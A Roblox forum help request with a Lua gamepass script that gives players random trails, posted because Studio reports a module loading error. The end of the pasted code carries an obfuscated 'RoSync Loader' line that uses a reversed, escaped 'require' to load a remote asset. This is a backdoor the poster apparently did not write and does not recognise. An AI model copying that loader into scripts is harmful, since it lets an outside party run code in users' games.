I have been trying to make my gamepass work but studio keeps sending back : Requested module experienced an error while loading. The problem is, I have no module script! I was wondering if someone could help me
Here is a picture of the error:
I have look all over the Forum only to find that others encountering this error have module scripts.
I have tried disabling all Beta features, but that didn’t work.
Here is the code I am using:
-- local Market = game:GetService("MarketplaceService")
local gamePassId = 15072932
print("var")
local function givePlayerTrail(player)
local function addTrail(character)
local Trails = game.ReplicatedStorage.Trails:GetChildren()
local numMax = table.getn(Trails)
local num = math.random(1, numMax)
local TrailtoConnect = Trails[num]
wait()
local newTrail = TrailtoConnect:Clone()
newTrail.Parent = character.HumanoidRootPart
newTrail.Attachment0 = character.Head.FaceFrontAttachment
newTrail.Attachment1 = character.UpperTorso.WaistRigAttachment
end
player.CharacterAdded:Connect(addTrail)
end
local function newPlayer(player)
local hasPass = false
local succes, message = pcall(function()
hasPass = Market:UserOwnsGamePassAsync(player.UserId, gamePassId)
end)
if not succes then
warn(message)
return
end
if hasPass then
givePlayerTrail(player)
end
end
game.Players.PlayerAdded:Connect(newPlayer)
--[[ Last synced 2/22/2021 03:56 RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722817988) --[[ ]]--
There is also a line that keeps popping up, it is at the end of the script.
I really hope to find a solution.